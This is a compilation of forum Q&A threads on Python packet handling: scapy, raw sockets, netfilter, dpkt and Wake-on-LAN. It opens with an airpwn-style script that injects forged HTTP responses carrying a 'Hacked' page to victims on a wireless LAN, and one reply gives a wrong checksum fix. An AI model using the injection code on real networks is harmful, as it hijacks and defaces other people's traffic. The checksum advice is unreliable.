Create spoofing HTTP Response in Wireless LAN with scapy - python

I create program like airpwn with python-scapy. Now, I can sniff it and forge the 802.11 packet, specific any required value for spoofing and send it to victim machine but it's doesn't work. I think because I'm wrong in calculating spoof ack number. Please tell me how to recalculate ack number or what I miss.
#!/usr/bin/env python
from scapy.all import *
from scapy.error import Scapy_Exception
import os
import HTTP
##### Start promicuous mode with airmon-ng start wlan0 11 (airmon-ng start/stop interface channel)
tmp=os.popen("iwconfig 2>&1 | grep ESSID | awk '{print $1}' | grep wlan | grep -v mon")
wlan=tmp.read()
wlan=wlan.rstrip('\n')
m_iface="mon0"
#spoof_response=rdpcap("response.cap")
def pktTCP(pkt):
if pkt.haslayer(TCP):
if HTTP.HTTPRequest or HTTP.HTTPResponse in pkt:
src=pkt[IP].src
srcport=pkt[IP].sport
dst=pkt[IP].dst
dstport=pkt[IP].dport
test=pkt[TCP].payload
if (HTTP.HTTPRequest in pkt):
print "HTTP Request:"
print "======================================================================"
print ("Src: ",src," Sport: ",srcport," Dst: ",dst," Dport: ",dstport," Hostname: ",test.Host)
print ("Seq: ",str(pkt[TCP].seq)," | Ack: ",str(pkt[TCP].ack))
print ("Wireless: ",wlan)
dot11_frame = RadioTap()/Dot11(
type = "Data",
FCfield = "from-DS",
addr1 = pkt[Dot11].addr2,
addr2 = pkt[Dot11].addr1,
addr3 = pkt[Dot11].addr1,
)
#### Spoof HTTP Response
day=time.strftime("%a, %d %Y %T GMT+7")
#print day
spoof_Page="<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0//EN\"><html><head><title>Hacked</title></head><body><p>Hacked By Sumedt</font></p></body></html>"
len_of_page=len(spoof_Page)
spoof_HTTP_Response_Header="HTTP/1.1 200 OK\x0d\x0aDate: "+day+"\x0d\x0aContent-Type: text/html; charset=UTF-8\x0d\x0aContent-Length: "+str(len_of_page)+"\x0d\x0a\x0d\x0a"
Spoof_Payload=spoof_HTTP_Response_Header+spoof_Page
#### Crafing HTTP Response Packet
spoof_response=dot11_frame/LLC(ctrl=3)/SNAP()/IP()/TCP()/Spoof_Payload
#### Spoof IP
spoof_response.dst=pkt[IP].src
spoof_response.src=pkt[IP].dst
spoof_response.ttl=pkt[IP].ttl
#### Spoof TCP
spoof_response.sport=pkt[TCP].dport
spoof_response.dport=pkt[TCP].sport
spoof_response.window=dport=pkt[TCP].window
spoof_response.seq=pkt[TCP].ack
### Recalculate chksum and ack
spoof_response.ack=(pkt[TCP].seq + len(Spoof_Payload)) & 0xffffffff
del spoof_response.chksum
### For recalculate chksum
spoof_response = spoof_response.__class__(str(spoof_response))
print "Finish specific value"
#spoof_response.show()
sendp(spoof_response)
print "Start Sniffing"
sniff(iface=m_iface,prn=pktTCP)

If you change the content of payload, the checksums in MAC hearder and TCP header should also be changed. Otherwise the packet would be considered as a wrong packet and discarded automatically.

After delete spoof_response.chksum, i think you Re-initialize that variable.
like
spoof_response.chksum = spoof_response.__class__(str(spoof_response))

Related

how to change the TCP payload and length via netfilter queue and scapy

using Netfilter Queue and scapy change the TCP payload, test client send a msg to test server:
iptables rule in test server:
iptables -A OUTPUT -p TCP -d [test client ip] -j NFQUEUE --queue-num 1
after changing the TCP payload, if the length is same after changed, and just replace strings, all behave correctly.
but if the length is different, the program is abnormal:
if the payload length is shorter:
client can receive the modified payload, but the socket can not close normally, the client send a RST connection to server
if the payload length is longer:
client also can receive the modified payload, but the server repeatedly to send packet for several times, the socket can not close normally, server socket is 'CLOSING', and client socket is 'FIN_WAIT1' or 'TIME_WAIT'
the system queue is 14 at last, normal is 6:
cat /proc/net/netfilter/nfnetlink_queue
1 7888 0 2 4016 0 0 14 1
from tcpdump display, there are many "tcp retransmission"
somebody help me? thanks, below is the test code:
from netfilterqueue import NetfilterQueue
from scapy.layers.inet import IP,TCP
from scapy.packet import Packet,Raw
def print_and_accept(pkt):
msg = IP(pkt.get_payload())
try:
if msg.haslayer(TCP) and msg.haslayer(Raw):
print msg[IP].show()
_Data = 'for the hook test'
msg[TCP].remove_payload()
msg[TCP].add_payload(_Data)
#msg[Raw].load = _Data
msg[IP].len = len(msg)
del msg[IP].chksum
del msg[TCP].chksum
msg = msg.__class__(str(msg))
pkt.set_payload(str(msg))
#new_msg = IP(pkt.get_payload())
#print new_msg[TCP].payload
#print new_msg[IP].show()
print msg[IP].show()
print 'End!!!'
pkt.accept()
else:
pkt.accept()
except Exception, err:
print err
pkt.accept()
nfqueue = NetfilterQueue()
nfqueue.bind(1, print_and_accept)
try:
nfqueue.run()
except KeyboardInterrupt:
print('')
the length changed, so seq, ack num are different, it caused the abnormal when closing socket, I still not know how to workaround about this issue, but it doesn't affect the payload transmission

Not able to send any raw data over socket in python after binding to network interface

I am trying to send a raw hexadecimal packet via my system's "eth1" interface. I've written the below and when I execute it don't see any error.
#! /usr/bin/python
import socket
class packet:
hexstr=""
def getpacket(self,hexs):
packet.hexstr=hexs
return packet.hexstr
# create a socket object
s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.IPPROTO_IP)
# get local machine name
port = 9999
# bind to the port
s.bind(('eth1', port))
#s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1)
pckt = packet()
data = pckt.getpacket("\x68\x65\x6c\x6c\x6f")
msg_send = s.send(data)
#msg_recv = s.recv(4096)
print msg_send
#print msg_recv
However when I take a "tcpdump" on port 9999 and the interface, and I run the above, I don't see any packet captured.
Output:
# ./net_serv.py
5
Dump:
# tcpdump -s0 -i eth1 port 9999
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), capture size 65535 bytes
What am I doing wrong ?
Finally made it work. Here are some important code snippets from my actual code:
#! /usr/bin/python
# some imports
import socket, sys
from struct import *
#create a raw socket
try:
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
except socket.error , msg:
print 'Socket could not be created. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]
sys.exit()
# tell kernel not to put in headers, since we are providing it, when using IPPROTO_RAW this is not necessary
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
packet = '';
source_ip = '192.168.1.101'# Your IP
dest_ip = '10.10.29.34' #Your IP or socket.gethostbyname('www.google.com')
#Create your own IP, TCP headers and User Data
## Some hints for those who are really trying it and are new to socket programming like me, make use of the struct, pack() and unpack() in python.
packet = ip_header + tcp_header + user_data
s.sendto(packet, (dest_ip , 0 ))

How to sniff and inject raw sockets?

I'm asking here just because I've searched a lot and until now I wasn't able to find a clue about how to accomplish this task. The task at hand is to build a python script that is able to:
Sniff tcp packets;
Decode de payload that in my case is encrypted with JWT - The JWT in
turn is a json in base64;
Repack with the decrypted data;
Reinject the packet on the same interface if possible, but can be a
virtual interface too;
It has to happen on the fly.
All traffic that arrives to the server come into an interface that hasn't any IP associated, so the sniffing has to happen in layer 2 and reinjected in layer 2, but case is possible could be captured in layer 2 and reinjected right into layer 3, but in this case I'm not sure how to do it. By layer 2 I mean got to be bound to an interface, not with hostname and port.
I've based my script on this http://www.offensivepython.com/2014/08/tcp-packet-injection-with-python.html for the injection and works fine in the lab (Kali, Centos 6.8) passing the tuple host, port to socket.bind() and for sniffing I wrote the following:
#!/usr/bin/python
import socket
import ctypes
import fcntl
from struct import *
from time import sleep
class ifreq(ctypes.Structure):
_fields_ = [("ifr_ifrn", ctypes.c_char * 16),("ifr_flags", ctypes.c_short)]
IFACE="eth0"
ETH_P_IP=0x0800
IFF_PROMISC = 0x100
SIOCGIFFLAGS = 0x8913
SIOCSIFFLAGS = 0x8914
skt = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(ETH_P_IP))
ifr = ifreq()
ifr.ifr_ifrn = IFACE
fcntl.ioctl(skt.fileno(), SIOCGIFFLAGS, ifr)
ifr.ifr_flags |= IFF_PROMISC
fcntl.ioctl(skt.fileno(), SIOCSIFFLAGS, ifr)
print "[+] Sniffing packets"
while True:
pct = skt.recvfrom(65535)
pct = pct[0]
ipheader = pct[:20]
iph = unpack('!BBHHHBBH4s4s', ipheader)
version_ih1 = iph[0]
version = version_ih1 >> 4
ih1 = version_ih1 & 0xF
iph_length = ih1 * 4
ttl = iph[5]
protocol = iph[6]
src_addr = socket.inet_ntoa(iph[8])
dst_addr = socket.inet_ntoa(iph[9])
print 'Version: %s \nIP Header Length: %s\nTTL: %s\nProtocol: %s\nSource Addr: %s\nDest Addr: %s'%(version, iph_length, ttl, protocol, src_addr, dst_addr)
tcp_header = pct[iph_length:iph_length+20]
tcph = unpack('!HHLLBBHHH', tcp_header)
src_port = tcph[0]
dst_port = tcph[1]
sequence = tcph[2]
ack = tcph[3]
doff_reserved = tcph[4]
tcph_length = doff_reserved >> 4
if src_port == 0 | dst_port == 0:
continue
print 'SRC Port: %s \nDST_Port: %s\nSEQ: %s\nACK: %s\nDoff Reserved: %s\nTCP Header Length: %s'%(src_port, dst_port, sequence, ack, doff_reserved, tcph_length)
h_size = iph_length + tcph_length * 4
data_size = len(pct) - h_size
data = pct[h_size:]
print 'Data: %s\n' %data
sleep(2)
I've tested this solution and works fine for injection in my labs (Kali, CentOS 6.8), I can run a tcpdump and see the packets coming to the specified interface but in production (RHEL 6.8) does now show anything in tcpdump.
I've been searching this in the socket linux docs, python socket docs in some books like Core Python, Foundation of Network Programming, The Linux Programming Interface and has from none to little information on how to properly use AF_PACKET.
My questions are:
Is it possible decode the traffic at layer 2 level;
In case yes and following the reasoning of the scripts aforementioned
what am I doing wrong?
Is there some differences between the sockets implementation across
the different Linux distro (RHEL, Centos, Debian);
How to proper use the socket interface using the arguments
(socket.AF_PACKET, socket.SOCK_RAW,[OPTIONAL]);
the OPTIONAL argument in the item above is the protocol, in some examples I've seen socket.htons(ETH_P_IP), ETH_P_IP, socket.ntohs(ETH_P_IP), and the constant sometimes is ETH_P_ALL, what are the differences?
Could someone leave an example here?
This question is because I'm working with a Threat Detection tool that processes all data and generate alerts, incidents and reports, but with the data encoded with JWT is not possible to see what is actually happening in the requests, therefore is not possible to see the actual data and properly use the tool.
Thanks in advance.

python, dpkt and timestamps

I have a problem.
How can I get response time difference between GET and HTTP/1.0 200 OK (i mean time latency of web-server) with using of dpkt library and ts for each hostname from pcap file?
My preliminary code:
#!/usr/bin/env python
import dpkt
f = open('mycapture.cap')
pcap = dpkt.pcap.Reader(f)
for ts, buf in pcap:
eth = dpkt.ethernet.Ethernet(buf)
ip = eth.data
tcp = ip.data
if tcp.dport == 80 and len(tcp.data) > 0:
http = dpkt.http.Request(tcp.data)
print ts, http.headers['host']
f.close()
But it's still output timestamps only GET requests.
It's gonna looks like:
tcpdump -i eth0 -w pcapfile; python (command).py pcapfile
google.com 0.488183
facebook.com 0.045466
quora.com 0.032777
It seems that you managed to get the first packet of request, now you need to get the first packet of the response... something like:
if tcp.sport == 80 and len(tcp.data) > 0:
# Here you can save the timestamp of the response and calculate the difference
Good luck

WOL from outside WAN

A while ago, I wrote [with some help from Google] a small WOL script to switch on the computers in my network. Here is the script:
exec /usr/bin/python -x "$0" "$#"
#
node_lst = [
'srv1 0a:1b:8c:0d:2e:7f',
'srv2 0A-0B-4C-8D-CE:3F',
]
#
import os,sys,string,commands
import struct, socket
import re,random
retval = 0
mac_addr = "mac_addr.txt"
X = '([a-zA-Z0-9]{2}[:|\-|.]?){5}[a-zA-Z0-9]{2}'
S = re.compile(r'\s+')
mmap = {}
## First argument 'None' in str.translate is new in 2.6.
## Previously, it was a string of 256 characters
if sys.version_info < (2, 6):
f1_arg = ''.join(chr(i) for i in xrange(256))
else:
f1_arg = None
## broadcast address
sysOS = "uname -s"
BSD = "ifconfig | grep -w broadcast | cut -d\ -f 6"
LNX = "ip -o addr show | grep -w inet | grep -e eth | cut -d\ -f 9"
#
if commands.getoutput(sysOS) == "Linux":
bCast = commands.getoutput(LNX)
elif commands.getoutput(sysOS) == "Darwin":
bCast = commands.getoutput(BSD)
else:
print "System not supported!!"
sys_exit()
def WakeOnLan(mac_address):
## Building the Wake-On-LAN "Magic Packet"...
## Pad the synchronization stream.
data = ''.join(['FFFFFFFFFFFF', mac_address * 20])
msg = ''
## Split up the hex values and pack.
for i in range(0, len(data), 2):
msg = ''.join([msg, struct.pack('B', int(data[i: i + 2], 16))])
## ...and send it to the broadcast address using UDP
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
s.sendto(msg, (bCast, 9))
s.close()
def sys_exit():
sys.stdout.flush()
sys.exit(1)
## check if hostname is provided
if len(sys.argv) != 2:
print "Usage: %s <hostname>" % sys.argv[0]
sys_exit()
for i in node_lst:
# strip off everything from first "#" [if] found
i = i.split('#',1)[0]
if not re.search(X, i):
continue
h = S.split(i,1)[0] ## host name
m = S.split(i,1)[-1] ## MAC address
mmap[h] = m.strip('\t|" "')
for j, k in mmap.iteritems():
if sys.argv[1] == j:
if not re.search(X.replace('zA-Z','fA-F'), k):
print "Invalid MAC address [",k,"]; nothing to do!!"
sys_exit()
else:
WakeOnLan(k.translate(f1_arg,':.-'))
print "WOL request has been sent to %s [%s]" % (j,k)
break
else:
print "Host [%s] doesn't exist!!" % sys.argv[1]
sys_exit()
Which works just fine from inside my home network (or LAN). How can I change the script to make it work for outside of my LAN? Any idea or suggestions? Cheers!!
This is not possible because WOL packets are broadcast packets (since you can't know who to send it too). Home routers and especially ISP/Network routers discard all broadcast packets because else everytime you run this one script all the computers on the entire internet would receive your package, which would cause quite some clutter.
What you of course can do is write a small application that is on a computer that is running inside the WAN in which you wish to turn on all computers, and then have that application send a WOL packet. However this would require a computer with internet access to be turned on at all times.
Configure your router to forward packets on a selection of 10 non-sequential ports to a machine on your LAN.
Devise some scheme based on say GMT Time + a hash to generate the port trigger sequence.
Have a python program (use scappy) on your command box inside that network listen for a series of syn packets.
The listener code would be analogous to the following tcpdump syntax:
sudo tcpdump -ni eth0 'tcp[tcpflags] & (tcp-syn) !=0'
Where it captures just syn packets.
Your program just sits there, waiting for the right syn sequence. When it receives the sequence, it runs your WOL script.
Done.
If you don't want to open ports, your script could instead poll a remote website, waiting for changes. Or listen for email fetched via email.
Taking your idea further, you could do fancy stuff like turn on your lights or boot up the TV.

Categories

Resources